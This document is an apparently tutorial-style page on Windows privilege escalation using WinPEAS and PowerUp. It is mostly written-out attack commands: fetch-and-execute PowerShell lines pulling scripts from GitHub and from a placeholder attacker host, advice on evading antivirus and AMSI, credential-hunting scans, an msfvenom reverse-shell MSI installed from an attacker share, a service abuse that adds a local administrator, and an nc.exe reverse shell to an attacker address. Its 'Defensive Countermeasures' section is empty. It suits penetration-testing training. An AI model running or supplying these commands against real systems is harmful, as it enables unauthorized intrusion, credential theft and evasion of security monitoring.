WinPEAS and PowerUp

Automated enumeration tools that find privilege escalation vectors in seconds

What You'll Discover

🔧 Try This Right Now

Download WinPEAS and examine its help options:

# Download WinPEAS (on your attack machine)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe

# Transfer to target and run
.\winPEASx64.exe -h
.\winPEASx64.exe quiet

You'll see: Comprehensive output covering system info, user privileges, services, scheduled tasks, network, and hundreds of other checks - all color-coded by severity.

Skills You'll Master

Understanding Automated Enumeration

WinPEAS and PowerUp are the industry-standard tools for Windows privilege escalation enumeration. They automate hundreds of checks that would take hours to perform manually. However, they're also well-known to defenders, so knowing how to use them effectively - and quietly - is essential.

WinPEAS Overview

WinPEAS (Windows Privilege Escalation Awesome Scripts) is part of the PEASS-ng suite. It's available as an executable or batch script and scans for misconfigurations across the entire system:

# Run full scan (default)
.\winPEASx64.exe

# Run quiet scan (less output, faster)
.\winPEASx64.exe quiet

# Run specific checks only
.\winPEASx64.exe servicesinfo
.\winPEASx64.exe userinfo
.\winPEASx64.exe systeminfo

# Redirect output to file (for review)
.\winPEASx64.exe > winpeas_output.txt

WinPEAS uses color coding to indicate severity:

PowerUp Overview

PowerUp is a PowerShell script from the PowerSploit framework. Unlike WinPEAS's comprehensive scan, PowerUp provides individual functions you can call as needed:

# Load PowerUp
Import-Module .\PowerUp.ps1

# Run all checks
Invoke-AllChecks

# Or run from memory (AMSI may block)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

Key PowerUp Functions

PowerUp provides specific functions for targeted enumeration:

# Service enumeration
Get-UnquotedService              # Find unquoted service paths
Get-ModifiableServiceFile        # Services with writable binaries
Get-ModifiableService            # Services we can reconfigure

# Registry checks
Get-RegistryAlwaysInstallElevated  # Check AlwaysInstallElevated
Get-RegistryAutoLogon              # Find autologon credentials

# Scheduled tasks and startup
Get-ModifiableScheduledTaskFile   # Writable scheduled task binaries

# Exploitation functions
Write-ServiceBinary              # Replace a service binary
Install-ServiceBinary            # Install a new service
Invoke-ServiceAbuse              # Abuse a modifiable service

Tools and Techniques

WinPEAS Detailed Usage

WinPEAS accepts parameters to focus on specific areas:

# Available scan modules
.\winPEASx64.exe systeminfo       # Basic system information
.\winPEASx64.exe userinfo         # User and group information
.\winPEASx64.exe processinfo      # Running processes
.\winPEASx64.exe servicesinfo     # Windows services
.\winPEASx64.exe applicationsinfo # Installed applications
.\winPEASx64.exe networkinfo      # Network configuration
.\winPEASx64.exe windowscreds     # Credential hunting
.\winPEASx64.exe browserinfo      # Browser saved credentials
.\winPEASx64.exe filesinfo        # Interesting files
.\winPEASx64.exe eventsinfo       # Security events

# Combine modules
.\winPEASx64.exe servicesinfo windowscreds

Evasion Techniques

Both tools are heavily signatured. Here's how to reduce detection:

# Use the .bat version of WinPEAS (less detected)
.\winPEAS.bat

# Obfuscated PowerUp execution
$text = (New-Object Net.WebClient).DownloadString('https://<attacker>/PowerUp.ps1')
IEX $text

# Bypass AMSI for PowerShell (various techniques)
# Note: AMSI bypasses change frequently as Microsoft patches them

# Use Invoke-Obfuscation on PowerUp before deployment
# https://github.com/danielbohannon/Invoke-Obfuscation

# Execute WinPEAS from memory using a loader
# Embed in a C# loader or use reflection

Alternative Tools

When WinPEAS and PowerUp are blocked, alternatives exist:

• Seatbelt - C# tool for host survey, less detected than WinPEAS
• PrivescCheck - PowerShell privesc script, alternative to PowerUp
• JAWS - Just Another Windows (Enum) Script, PowerShell-based
• winPEASps1 - PowerShell version of WinPEAS

Real-World Attack Scenarios

# On attacker machine
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f msi -o shell.msi

# On target
msiexec /quiet /qn /i \\<attacker>\share\shell.msi

# Abuse the service to add user to local admins
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'hdna' -Password 'Password123!'

# Or execute a reverse shell
Invoke-ServiceAbuse -Name 'VulnerableService' -Command "C:\temp\nc.exe -e cmd.exe <attacker> 443"

Defensive Countermeasures

Frequently Asked Questions

🎯 Automated Enumeration - Equipped!

You now know how to use WinPEAS and PowerUp to rapidly identify privilege escalation vectors. Combined with manual enumeration, you have comprehensive coverage of any Windows system.

Ready to exploit service misconfigurations →